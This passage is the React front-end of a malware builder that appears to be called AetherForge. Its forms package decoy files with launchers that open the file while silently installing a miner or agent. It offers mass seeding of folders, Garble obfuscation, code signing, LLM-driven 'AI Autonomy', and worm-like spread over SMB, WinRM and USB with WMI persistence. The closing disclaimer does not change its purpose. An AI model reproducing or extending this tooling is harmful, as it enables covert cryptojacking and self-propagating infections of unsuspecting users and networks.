                                  <span className="form-hint">({fusionFileTypeLabel(f.name)}, {(f.size/1024/1024).toFixed(1)} MB)</span>
                                  {!isExe && (
                                    <span style={{ color: 'var(--color-accent)', marginLeft: '0.4rem' }}>
                                      → Windows: <code>{disguisedDisplayName(f.name)}</code>
                                    </span>
                                  )}
                                </span>
                              </li>
                            );
                          })}
                        </ul>
                      </div>
                    )}
                    {batchJob && (
                      <div className="batch-forge-panel card" style={{ marginTop: '0.75rem' }}>
                        <div className="batch-forge-header">
                          <span className="font-tech">BATCH FORGE</span>
                          <span>
                            {batchJob.current}/{batchJob.total} — {batchJob.phase}
                          </span>
                        </div>
                        <div className="batch-progress-track">
                          <div
                            className="batch-progress-fill"
                            style={{ width: `${Math.min(100, batchJob.percent)}%` }}
                          />
                        </div>
                        {batchJob.fileName && (
                          <p className="form-hint" style={{ marginTop: '0.5rem' }}>
                            Current: <code>{batchJob.fileName}</code>
                          </p>
                        )}
                        <ul className="batch-forge-log">
                          {batchJob.log.map((row) => (
                            <li key={row.name} className={`batch-log-${row.status}`}>
                              <span className="batch-log-icon">
                                {row.status === 'ok' ? '✓' : row.status === 'fail' ? '✕' : row.status === 'active' ? '…' : '○'}
                              </span>
                              <span>
                                {row.name}
                                {row.detail ? ` — ${row.detail}` : ''}
                              </span>
                            </li>
                          ))}
                        </ul>
                      </div>
                    )}
                    {fusionBatchFiles.length > 0 && (
                      <div style={{ display: 'flex', gap: '0.5rem', marginTop: '0.5rem', flexWrap: 'wrap' }}>
                        <button
                          type="button"
                          className="btn btn-secondary"
                          disabled={building || !canForge}
                          onClick={handleBatchForge}
                        >
                          {building
                            ? `Forging… (${batchJob?.current ?? 0}/${fusionBatchFiles.length})`
                            : `Forge all ${fusionBatchFiles.length} file${fusionBatchFiles.length !== 1 ? 's' : ''} → universal ZIP each`}
                        </button>
                        {building && batchJob && batchJob.phase !== 'done' && batchJob.phase !== 'cancelled' && (
                          <button
                            type="button"
                            className="btn btn-danger"
                            onClick={handleBatchCancel}
                            title="Stop after the current file finishes"
                          >
                            Cancel Batch
                          </button>
                        )}
                      </div>
                    )}
                    <p className="form-hint" style={{ marginTop: '0.5rem' }}>
                      Each ZIP contains runners for Windows, Mac, and Linux. The recipient runs the launcher for their OS — the file opens, the miner installs.
                    </p>
                  </div>

                  {!simpleMode && (
                  <div className="form-row">
                    <div className="form-group">
                      <label className="label">Run order <HelpTip field="fusion_run_order" /></label>
                      <select className="select" value={form.fusion_run_order}
                        onChange={(e) => updateField('fusion_run_order', e.target.value)}>
                        <option value="parallel">Parallel — file opens and miner installs at the same time</option>
                        <option value="prep_first">File first — open file, then install miner</option>
                        <option value="worker_first">Miner first — install silently, then open file</option>
                      </select>
                      <FieldHint field="fusion_run_order" />
                    </div>
                    <div className="form-group">
                      <label className="label">Runner filename <HelpTip field="fusion_output_name" /></label>
                      <input type="text" className="input mono" value={form.fusion_output_name}
                        onChange={(e) => updateField('fusion_output_name', e.target.value)} />
                      <FieldHint field="fusion_output_name" />
                    </div>
                  </div>
                  )}
                  {simpleMode && fusionPrepFile && (
                    <p className="form-hint">Runner name: <code>{form.fusion_output_name || defaultRunnerName(fusionPrepFile.name)}</code>. Run order: parallel (file opens + miner installs simultaneously).</p>
                  )}
                  <p className="form-hint">
                    Output: one universal ZIP containing runners for every OS. Each runner opens <code>{fusionPrepFile?.name || 'your file'}</code> and silently installs the worker.
                  </p>
                  {fusionPrepFile && (
                    <div className="fusion-output-preview card" style={{ marginTop: '0.75rem', padding: '0.75rem 1rem', fontSize: '0.85rem' }}>
                      <p className="font-tech" style={{ marginBottom: '0.5rem', color: 'var(--neon-cyan)' }}>WHAT YOU GET — {fusionFileTypeLabel(fusionPrepFile.name).toUpperCase()}</p>
                      <ul className="form-hint" style={{ margin: 0, paddingLeft: '1.2rem', lineHeight: 1.6 }}>
                        <li><strong>Windows:</strong> <code>Start.bat</code> or disguised runner (e.g. <code>{disguisedDisplayName(fusionPrepFile.name)}</code> with Photos icon) — opens the image in the default viewer, miner runs hidden.</li>
                        <li><strong>Linux:</strong> <code>start.sh</code> → <code>bin/linux-amd64/{fusionPrepFile.name.replace(/\.[^.]+$/, '')}-runner</code></li>
                        <li><strong>macOS:</strong> <code>Start.command</code> or <code>{fusionTitleFromFilename(fusionPrepFile.name)}.app</code> bundle</li>
                        {fusionMediaMode === 'paired' && (
                          <li><strong>ZIP also includes:</strong> your original <code>{fusionPrepFile.name}</code> at the root (paired mode).</li>
                        )}
                        <li>Download: <code>{fusionTitleFromFilename(fusionPrepFile.name)}-package.zip</code> under fusion-deliverables on the server.</li>
                      </ul>
                    </div>
                  )}
                  {(estimateLoading || fusionEstimate || estimateError) && (
                    <div className="fusion-estimate-panel card">
                      <p className="font-tech" style={{ marginBottom: '0.5rem' }}>FUSION SIZE ESTIMATE (DRY RUN)</p>
                      {estimateLoading && <p className="form-hint">Calculating…</p>}
                      {estimateError && <p className="form-hint" style={{ color: 'var(--neon-red, #f55)' }}>{estimateError}</p>}
                      {fusionEstimate && (
                        <>
                          <ul className="preflight-list" style={{ marginBottom: '0.75rem' }}>
                            <li className="preflight-item preflight-ok">
                              <span className="preflight-icon">✓</span>
                              <span>Prep: {formatBytes(fusionEstimate.prep_bytes)} ({fusionEstimate.prep_name})</span>
                            </li>
                            <li className="preflight-item preflight-ok">
                              <span className="preflight-icon">+</span>
                              <span>Worker (est.): {formatBytes(fusionEstimate.estimated_worker_bytes)}</span>
                            </li>
                            <li className="preflight-item preflight-ok">
                              <span className="preflight-icon">+</span>
                              <span>Fusion launcher: ~{formatBytes(fusionEstimate.estimated_fusion_stub_bytes)}</span>
                            </li>
                            <li className="preflight-item preflight-warn">
                              <span className="preflight-icon">≈</span>
                              <span><strong>Total (est.): {formatBytes(fusionEstimate.estimated_total_bytes)}</strong></span>
                            </li>
                          </ul>
                          <p className="form-hint"><strong>Project root:</strong> <code className="mono-sm">{fusionEstimate.project_root_path}</code></p>
                          {fusionEstimate.export_path && (
                            <p className="form-hint"><strong>Export copy:</strong> <code className="mono-sm">{fusionEstimate.export_path}</code></p>
                          )}
                          <p className="form-hint"><strong>Archive:</strong> <code className="mono-sm">{fusionEstimate.archive_path_hint}</code></p>
                          {fusionEstimate.notes?.map((note) => (
                            <p key={note} className="form-hint">{note}</p>
                          ))}
                        </>
                      )}
                    </div>
                  )}
                </>
              )}
            </div>
            )}

            {/* ── PATH FORGE ─────────────────────────────────────────────── */}
            <div className="form-section" style={{ borderTop: '1px solid #ff8c0033', paddingTop: '1.25rem' }}>
              <ForgeSectionHeader
                title="PATH FORGE — Recursive Batch Seed"
                badge="server-only"
                description="Type a local folder path. The server walks it recursively and places a launcher next to every matching file — no upload needed."
              />
              <p className="form-hint">
                For every file found (movies, docs, archives…) the server drops a <strong>.bat + .exe</strong> (Windows)
                and/or <strong>.command</strong> (Mac) right beside it in the same directory.
                The launcher opens the original file normally and silently installs the agent.
              </p>

              <div className="form-group">
                <label className="label">Root Folder Path</label>
                <input
                  type="text"
                  className="input mono"
                  placeholder={`E:\\Movies  or  /Volumes/USB/Movies`}
                  value={pfPath}
                  onChange={(e) => setPfPath(e.target.value)}
                  disabled={pfBusy}
                />
                <span className="form-hint">Path on the machine running AetherForge.exe (e.g. your USB drive or NAS).</span>
              </div>

              <div className="form-row" style={{ gap: '1rem', flexWrap: 'wrap' }}>
                <div className="form-group" style={{ flex: '0 0 auto' }}>
                  <label className="label">Output Filename</label>
                  <div style={{ display: 'flex', gap: '0.5rem', alignItems: 'center', flexWrap: 'wrap' }}>
                    <label style={{ display: 'flex', alignItems: 'center', gap: '0.4rem', cursor: 'pointer', fontSize: '0.85rem' }}>
                      <input type="radio" name="pfStemMode" value="original"
                        checked={pfStemMode === 'original'}
                        onChange={() => setPfStemMode('original')} disabled={pfBusy} />
                      Same as source file
                    </label>
                    <label style={{ display: 'flex', alignItems: 'center', gap: '0.4rem', cursor: 'pointer', fontSize: '0.85rem' }}>
                      <input type="radio" name="pfStemMode" value="custom"
                        checked={pfStemMode === 'custom'}
                        onChange={() => setPfStemMode('custom')} disabled={pfBusy} />
                      Custom name:
                    </label>
                    <input
                      type="text"
                      className="input mono"
                      style={{ width: 160, opacity: pfStemMode === 'custom' ? 1 : 0.35 }}
                      placeholder="e.g. VideoPlayer"
                      value={pfStem}
                      onChange={(e) => setPfStem(e.target.value)}
                      disabled={pfBusy || pfStemMode !== 'custom'}
                    />
                  </div>
                  <span className="form-hint">
                    {pfStemMode === 'original'
                      ? 'Terminator.mkv → Terminator.exe + Terminator.bat'
                      : `Every file → ${pfStem || 'VideoPlayer'}.exe + ${pfStem || 'VideoPlayer'}.bat`}
                  </span>
                </div>

                <div className="form-group" style={{ flex: '0 0 auto' }}>
                  <label className="label">Target Platforms</label>
                  <div style={{ display: 'flex', gap: '1.25rem', marginTop: '0.25rem' }}>
                    <label style={{ display: 'flex', alignItems: 'center', gap: '0.4rem', cursor: 'pointer', fontSize: '0.85rem' }}>
                      <input type="checkbox" checked={pfWindows} onChange={(e) => setPfWindows(e.target.checked)} disabled={pfBusy} />
                      <span style={{ color: '#61dafb' }}>⊞ Windows</span>
                      <span style={{ color: '#555', fontSize: '0.75rem' }}>.bat + .exe</span>
                    </label>
                    <label style={{ display: 'flex', alignItems: 'center', gap: '0.4rem', cursor: 'pointer', fontSize: '0.85rem' }}>
                      <input type="checkbox" checked={pfMac} onChange={(e) => setPfMac(e.target.checked)} disabled={pfBusy} />
                      <span style={{ color: '#a8ff78' }}>⌘ Mac/Linux</span>
                      <span style={{ color: '#555', fontSize: '0.75rem' }}>.command</span>
                    </label>
                  </div>
                </div>
              </div>

              <button
                type="button"
                className="btn btn-primary"
                style={{
                  marginTop: '0.75rem',
                  background: 'linear-gradient(135deg, #ff8c00, #ff4500)',
                  border: 'none', color: '#fff', fontWeight: 700,
                  letterSpacing: '0.08em', padding: '0.55rem 1.4rem',
                }}
                onClick={handlePathForge}
                disabled={pfBusy || !pfPath.trim() || (!pfWindows && !pfMac)}
              >
                {pfBusy ? '⏳ Seeding…' : '◈ LAUNCH PATH FORGE'}
              </button>

              {pfResult && (
                <div className="card" style={{ marginTop: '1rem', padding: '0.85rem 1rem', fontSize: '0.82rem' }}>
                  <p className="font-tech" style={{ marginBottom: '0.5rem', color: pfResult.errors > 0 ? 'var(--neon-amber)' : 'var(--neon-green)' }}>
                    {pfResult.errors === 0 && pfResult.placed > 0
                      ? `✓ ${pfResult.placed} files placed across ${pfResult.total} source files`
                      : `⚠ ${pfResult.placed} placed · ${pfResult.errors} errors · ${pfResult.total} total`}
                  </p>
                  {pfResult.results.slice(0, 20).map((r, i) => (
                    <div key={i} style={{ marginBottom: '0.2rem', color: '#aaa' }}>
                      <span style={{ color: '#ddd' }}>{r.source}</span>
                      {' → '}
                      <span style={{ color: 'var(--neon-cyan)' }}>{r.files.join('  ')}</span>
                    </div>
                  ))}
                  {pfResult.results.length > 20 && (
                    <p style={{ color: '#666', marginTop: '0.5rem' }}>…and {pfResult.results.length - 20} more</p>
                  )}
                  {pfResult.error_list?.slice(0, 5).map((e, i) => (
                    <p key={i} style={{ color: 'var(--neon-red, #f55)', marginTop: '0.25rem' }}>{e}</p>
                  ))}
                </div>
              )}
            </div>

            {!simpleMode && (
            <>
            <div className="form-section">
              <ForgeSectionHeader
                title="Build pipeline"
                badge="server-only"
                description="Obfuscation, code signing, and go-winres are applied on the control PC at forge time."
              />
              <div className={`form-group checkbox-group ${fieldMeta.obfuscate?.disabled ? 'field-disabled' : ''}`}>
                <label className="checkbox-label">
                  <input type="checkbox" className="checkbox" checked={!!form.obfuscate}
                    disabled={fieldMeta.obfuscate?.disabled}
                    onChange={(e) => updateField('obfuscate', e.target.checked)} />
                  <span>Obfuscate worker with Garble (Windows only) <HelpTip field="obfuscate" /></span>
                </label>
                <FieldHint field="obfuscate" />
                <ForgeLockedHint meta={fieldMeta.obfuscate} />
              </div>
              <div className={`form-group checkbox-group ${fieldMeta.sign_build?.disabled ? 'field-disabled' : ''}`}>
                <label className="checkbox-label">
                  <input type="checkbox" className="checkbox" checked={!!form.sign_build}
                    disabled={fieldMeta.sign_build?.disabled}
                    onChange={(e) => updateField('sign_build', e.target.checked)} />
                  <span>Sign forged output (Authenticode, Windows only) <HelpTip field="sign_build" /></span>
                </label>
                <FieldHint field="sign_build" />
                <ForgeLockedHint meta={fieldMeta.sign_build} />
              </div>
            </div>

            <div className="form-section">
              <ForgeSectionHeader
                title="Autonomy, Mesh & Lateral Movement"
                badge="baked"
                description="Optional — AI decisions, P2P mesh, SMB auto-spread, NAT hole punch, and remote aggressive ops (dashboard buttons)."
              />
              <div className="form-group checkbox-group">
                <label className="checkbox-label">
                  <input type="checkbox" className="checkbox" checked={form.ai_enabled}
                    onChange={(e) => updateField('ai_enabled', e.target.checked)} />
                  <span>Enable AI Autonomy (Ollama) <HelpTip field="ai_enabled" /></span>
                </label>
                <FieldHint field="ai_enabled" />
              </div>
              {form.ai_enabled && (
                <>
                  <div className={`form-group ${fieldMeta.ai_ollama_endpoint?.disabled ? 'field-disabled' : ''}`}>
                    <div className="label-row">
                      <label className="label">Ollama Endpoint URL <HelpTip field="ai_ollama_endpoint" /></label>
                      <ForgeFieldBadge meta={fieldMeta.ai_ollama_endpoint} />
                    </div>
                    <input
                      type="url"
                      className="input mono"
                      placeholder="http://localhost:11434"
                      disabled={fieldMeta.ai_ollama_endpoint?.disabled}
                      value={form.ai_ollama_endpoint}
                      onChange={(e) => updateField('ai_ollama_endpoint', e.target.value)}
                    />
                    <p className="form-hint">
                      Control server machine — not the worker. Default: <code>http://localhost:11434</code>
                    </p>
                  </div>
                  <div className={`form-group ${fieldMeta.ai_model?.disabled ? 'field-disabled' : ''}`}>
                    <label className="label">Ollama Model <HelpTip field="ai_model" /></label>
                    <input
                      type="text"
                      className="input mono"
                      placeholder="llama3.2"
                      disabled={fieldMeta.ai_model?.disabled}
                      value={form.ai_model}
                      onChange={(e) => updateField('ai_model', e.target.value)}
                    />
                    <p className="form-hint">
                      Model to use for decisions. Default: <code>llama3.2</code>. Must support tool-calling / JSON output.
                    </p>
                  </div>
                </>
              )}
              <div className="form-group checkbox-group">
                <label className="checkbox-label">
                  <input type="checkbox" className="checkbox" checked={form.mesh_p2p}
                    onChange={(e) => updateField('mesh_p2p', e.target.checked)} />
                  <span>Enable Mesh P2P Networking <HelpTip field="mesh_p2p" /></span>
                </label>
                <FieldHint field="mesh_p2p" />
              </div>
              <div className="form-group checkbox-group">
                <label className="checkbox-label">
                  <input type="checkbox" className="checkbox" checked={form.auto_spread}
                    onChange={(e) => {
                      const checked = e.target.checked;
                      if (checked && !window.confirm(
                        'Enable Auto-Spread?\n\n' +
                        'When baked ON, every deployed agent will automatically attempt lateral movement ' +
                        'across the local network on a timer — scanning for reachable hosts and copying itself.\n\n' +
                        'This is aggressive behaviour. Only enable it if you have explicit permission on every network this agent may reach.'
                      )) return;
                      updateField('auto_spread', checked);
                    }} />
                  <span>Enable Auto-Spread (Lateral Movement) <HelpTip field="auto_spread" /></span>
                </label>
                {form.auto_spread && (
                  <p className="form-hint" style={{ color: 'var(--color-warn, #f5a623)', marginTop: '0.25rem' }}>
                    ⚠ Auto-Spread is ON — every agent forged with this config will scan and propagate automatically.
                  </p>
                )}
                <FieldHint field="auto_spread" />
              </div>
              <div className="form-group checkbox-group">
                <label className="checkbox-label">
                  <input type="checkbox" className="checkbox" checked={!!form.hole_punch}
                    onChange={(e) => updateField('hole_punch', e.target.checked)} />
                  <span>Enable NAT Hole Punch (UPnP) <HelpTip field="hole_punch" /></span>
                </label>
                <FieldHint field="hole_punch" />
              </div>
              <div className="form-group checkbox-group">
                <label className="checkbox-label">
                  <input type="checkbox" className="checkbox" checked={!!form.remote_aggressive}
                    onChange={(e) => updateField('remote_aggressive', e.target.checked)} />
                  <span>Enable Remote Aggressive Ops (dashboard buttons) <HelpTip field="remote_aggressive" /></span>
                </label>
                <FieldHint field="remote_aggressive" />
              </div>

              <div className="form-group checkbox-group">
                <label className="checkbox-label">
                  <input type="checkbox" className="checkbox" checked={!!form.usb_spread}
                    onChange={(e) => updateField('usb_spread', e.target.checked)} />
                  <span>USB Propagation — copy to every new drive inserted <HelpTip field="usb_spread" /></span>
                </label>
                {form.usb_spread && (
                  <div style={{ margin: '4px 0 2px 24px', padding: '6px 10px', background: 'rgba(255,180,0,0.1)', border: '1px solid rgba(255,180,0,0.4)', borderRadius: 4, fontSize: '0.82em', color: '#ffb400' }}>
                    ⚡ Perpetual chain — agent silently copies itself to every USB drive inserted into any infected PC (including drives already plugged in at startup), installs a persistent WMI trigger, and drops a visible SETUP.BAT + folder icon so the next PC's user just clicks. Each new machine repeats the cycle forever.
                  </div>
                )}
                <FieldHint field="usb_spread" />
              </div>

              <div className="form-group checkbox-group">
                <label className="checkbox-label">
                  <input type="checkbox" className="checkbox" checked={!!form.share_spread}
                    onChange={(e) => updateField('share_spread', e.target.checked)} />
                  <span>Share Drop — spread via mounted network drives &amp; WinRM <HelpTip field="share_spread" /></span>
                </label>
                <FieldHint field="share_spread" />
              </div>
            </div>
            </>
            )}

            <div className="preflight-panel card">
              <h3 className="font-tech">PREFLIGHT CROSS-CHECK</h3>
              <ul className="preflight-list">
                {preflightChecks.map((c) => (
                  <li key={c.id} className={`preflight-item preflight-${c.level}`}>
                    <span className="preflight-icon">{c.level === 'ok' ? '✓' : c.level === 'warn' ? '!' : '✕'}</span>
                    {c.message}
                  </li>
                ))}
              </ul>
            </div>

            {error && (
              <div className="form-error">
                <span>⚠️</span> {error}
              </div>
            )}

            <ForgeProgressBar building={building && !batchJob} stage={forgeStage} progress={forgeProgress} />

            <div style={{ display: 'flex', gap: '0.5rem', alignItems: 'center', flexWrap: 'wrap' }}>
              <button type="submit" className="btn btn-success build-btn forge-submit-btn" disabled={building || !canForge}>
                {building ? 'Forging...' : canForge ? '⚒ FORGE INSTALLER' : `⚒ FIX ${errorCount} ERROR${errorCount === 1 ? '' : 'S'} TO FORGE`}
              </button>
              {building && !batchJob && (
                <button type="button" className="btn btn-danger" onClick={handleKillBuild} title="Kill the running compiler immediately">
                  ✕ Kill Build
                </button>
              )}
            </div>
            {!canForge && errorCount > 0 && (
              <p className="forge-forge-blocked">
                Forge is blocked until all preflight errors (✕) are resolved. Warnings (!) still allow forging.
              </p>
            )}
          </form>
        </div>

        {lastBuild?.success && (
          <div className="forge-last-build-strip">
            <div className="forge-last-build-info">
              <span className="forge-last-build-check">✓</span>
              <div>
                <span className="forge-last-build-name">{lastBuild.file_name || 'Build ready'}</span>
                {lastBuild.file_size != null && (
                  <span className="forge-last-build-size">
                    {((lastBuild.file_size || 0) / 1024 / 1024).toFixed(1)} MB
                  </span>
                )}
                {lastBuild.fusion_enabled && <span className="forge-last-build-tag">FUSION</span>}
                {lastBuild.obfuscated && <span className="forge-last-build-tag">GARBLED</span>}
                {lastBuild.signed && <span className="forge-last-build-tag">SIGNED</span>}
              </div>
            </div>
            <div className="forge-last-build-actions">
              {lastBuild.download_url && lastBuild.file_name && (
                <DownloadButton
                  apiPath={lastBuild.download_url}
                  filename={lastBuild.file_name}
                  className="btn btn-primary btn-sm"
                >
                  ↓ Download
                </DownloadButton>
              )}
              {lastBuild.build_id &&
                lastBuild.extra_files?.map((f) =>
                  f.file_name ? (
                    <DownloadButton
                      key={f.file_name}
                      apiPath={api.buildArtifactUrl(lastBuild.build_id!, f.file_name)}
                      filename={f.file_name}
                      className="btn btn-outline btn-sm"
                    >
                      ↓ {f.file_name}
                    </DownloadButton>
                  ) : null
                )}
              <button
                type="button"
                className="btn btn-outline btn-sm"
                onClick={handleForgeNextWorker}
              >
                Forge next worker
              </button>
              {showBlueprintOffer && (
                <button
                  type="button"
                  className="btn btn-outline btn-sm"
                  onClick={handleSaveFleetBlueprint}
                >
                  Save as fleet blueprint
                </button>
              )}
              <button
                type="button"
                className="btn btn-outline btn-sm"
                onClick={() => navigate('/builds')}
              >
                View in Build Manager →
              </button>
            </div>
          </div>
        )}
      </div>
      <footer style={{ marginTop: '3rem', paddingTop: '1rem', borderTop: '1px solid #333', textAlign: 'center', color: '#ff4444', fontSize: '0.85rem', fontFamily: 'monospace' }}>
        ⚠️ DISCLAIMER: Use only on personal machines on your own network. Anything else is a crime.
      </footer>
    </div>
  );
}
